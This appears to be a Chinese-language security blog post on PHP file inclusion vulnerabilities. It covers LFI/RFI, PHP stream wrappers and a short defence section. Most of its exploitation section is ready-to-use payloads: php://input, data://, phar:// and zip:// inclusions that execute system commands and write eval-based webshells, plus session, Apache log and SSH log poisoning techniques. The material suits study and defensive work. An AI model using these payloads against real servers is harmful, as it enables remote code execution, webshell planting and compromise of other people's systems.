文件包含

Chiexf Lv4

0x00 什么是文件包含漏洞

为了更好地使用代码的重用性,引入了文件包含函数,通过文件包含函数将文件包含进来,直接使用包含文件的代码,简单点来说就是一个文件里面包含另外一个或多个文件。

0x01 文件包含漏洞原理

文件包含函数加载的参数没有经过过滤或者严格定义,可以被用户控制,包含了其他恶意文件,导致执行了非预期的代码

0x02 文件包含漏洞危害

  • 配合文件上传漏洞GetShell
  • 可以执行任意脚本代码
  • 网站源码文件以及配置文件泄露
  • 远程包含GetShell
  • 控制整个网站甚至是服务器

0x03 相关函数

  • include()

如果出错的话,只会提出警告,会继续执行后续语句。

  • include_once()

和include()语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。

  • require()

如果在包含的过程中有错,比如文件不存在等,则会直接退出,不执行后续语句。

  • require_once()

和require()语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含

0x04 php伪协议

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
file:// — 访问本地文件系统

http:// — 访问 HTTP(s) 网址

ftp:// — 访问 FTP(s) URLs

php:// — 访问各个输入/输出流(I/O streams)
PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。

zlib:// — 压缩流

data:// — 数据(RFC 2397)

glob:// — 查找匹配的文件路径模式

phar:// — PHP 归档

ssh2:// — Secure Shell 2

rar:// — RAR

ogg:// — 音频流

expect:// — 处理交互式的流

0x05 文件包含漏洞利用

本地文件包含

  • LFI(Local File Inclusion)漏洞,本地文件包含漏洞,顾名思义,指的是能打开并包含本地文件的漏洞。

  • 这个漏洞不受allow_url_fopen = Onallow_url_include = On这两个的影响。

远程文件包含

  • RFI(Remote File Inclusion)漏洞,远程文件包含漏洞。是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大。

例子

1
2
3
4
<?php
$file = $_GET['file'];
include $file;
?>

利用前提

  • allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据(允许url里的封装协议访问文件)
  • allow_url_include=On(php5.2之后默认为Off,为off时不允许url里的封装协议包含文件)

file://

  • file://伪协议用于访问本地文件系统
  • 利用条件
1
2
allow_url_include = On/Off
allow_url_fopen = On/Off
  • payload
1
?file=file://etc/passwd

php://input

  • 可以访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据。

注:当enctype="multipart/form-data" 的时候 php://input 是无效的。

  • 利用条件
1
2
allow_url_include = On
allow_url_fopen = On/Off
  • payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
读取源码:
?file=php://filter/read=convert.base64-encode/resource=index.php

执行任意代码:
?file=php://input

POST:
<?php system('whoami'); ?>

写入木马:
?file=php://input

POST:
<?php fputs(fopen('hack.php','w'),'<?php @eval($_POST[v])?>');?>

php://filter

  • 元封装器,设计用于”数据流打开”时的”筛选过滤”应用,对本地磁盘文件进行读写。
  • 利用条件
1
2
allow_url_include = On/Off
allow_url_fopen = On/Off
  • payload
1
2
3
?file=php://filter/read=convert.base64-encode/resource=index.php

?file=php://filter/convert.base64-encode/resource=index.php
  • index.php
1
2
3
<?php
echo "Hello World";
?>

phar://

  • php解压缩包的一个伪协议,不管后缀是什么,都会当做压缩包来解压。

  • 利用条件

1
2
3
php >= 5.3.0
allow_url_include = On/Off
allow_url_fopen = On/Off
  • 构造test.zip

将phpinfo.php打包成test.zip

1
2
3
<?php 
phpinfo();
?>
  • payload
1
?file=phar://path/test.zip/phpinfo.php
  • 命令执行payload
1
2
3
将phpinfo.php的内容改为 <?php system('whoami');?>

?file=phar://path/test.zip/phpinfo.php
  • 写入木马payload
1
2
3
将phpinfo.php的内容改为 <?php @eval($_POST[123]);?>

?file=phar://path/test.zip/phpinfo.php

zip://

  • zip伪协议和phar伪协议类似

  • 利用条件

1
2
3
php >= 5.3.0
allow_url_include = On/Off
allow_url_fopen = On/Off
  • 构造test.zip包(与phar://类似)

  • payload

1
2
3
使用zip伪协议,需要指定绝对路径,而且压缩包文件和压缩包内的文件之间得用#,还要将#给URL编码为%23

?file=zip://path/test.zip%23phpinfo.php
  • 其余利用方法参考phar://

data://

  • 数据流封装器,和php://相似,都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中

  • 利用条件

1
2
3
php >= 5.2.0
allow_url_include = On
allow_url_fopen = On
  • payload
1
2
3
4
5
6
7
8
9
10
11
12
读取代码:
?file=data:text/plain,[php代码]
?file=data:text/plain;base64,[base编码的php代码]

执行任意代码:
?file=data:text/plain,<?php system('whoami');?>
?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==

写入木马:
?file=data:text/plain,<?php fputs(fopen('hack.php','w'),'<?php @eval($_POST[123])?>');?>
?file=data:text/plain;base64,PD9waHAgZnB1dHMoZm9wZW4oJ2hhY2sucGhwJywndycpLCc8P3BocCBAZXZhbCgkX1BPU1Rbdl0pPz4
nKTs/Pg==

session包含

  • 利用条件
1
session文件路径已知,且其中内容部分可控。
  • 案例
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
session_start();
$ctfs=$_GET['ctfs'];
$_SESSION["username"]=$ctfs;
?>

/*

此php会将获取到的GET型ctfs变量的值存入到session中。
当访问http://url/ctfs.php?ctfs= 后,
会在/var/lib/php/session目录下存储session的值。
可以通过ctfs写入恶意代码到session文件中,然后通过文件包含漏洞执行此恶意代码getshell。
*/
  • payload

注:php的session文件的保存路径可以在phpinfosession.save_path看到。

1
2
3
4
?ctfs=%3C?php%20@eval($_POST[123])?%3E

利用文件包含漏洞读取:
?filename=/var/lib/php/session/sess_+sessionid

日志包含

  • 利用条件
1
需要知道服务器日志的存储路径,且日志文件可读。
  • 姿势
1
很多时候,web服务器会将请求写入到日志文件中,比如说apache。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。默认情况下,日志保存路径在 /var/log/apache2/。

SSH log

  • 利用条件
1
2
3
4
知道ssh-log位置,且可读。
默认:
/var/log/auth.log
/var/log/secure
  • 姿势
1
2
3
4
5
用ssh连接:
ssh '<?php phpinfo(); ?>'@remotehost
密码随便输
然后在remotehost的ssh-log中就写入了这个php代码
就可以包含日志文件了。

包含临时文件

0x06 防御

配置open_basedir,限制访问在指定的区域。

做好文件的权限管理。

对危险字符进行过滤,比如过滤.(点)/(反斜杠)\(反斜杠)等特殊字符。

尽量将allow_url_includeallow_url_fopen配置为off。

0x07 参考

https://www.anquanke.com/post/id/248627#h2-0

https://www.cnblogs.com/endust/p/11804170.html

https://m.freebuf.com/articles/web/336692.html

https://xz.aliyun.com/t/7176#toc-0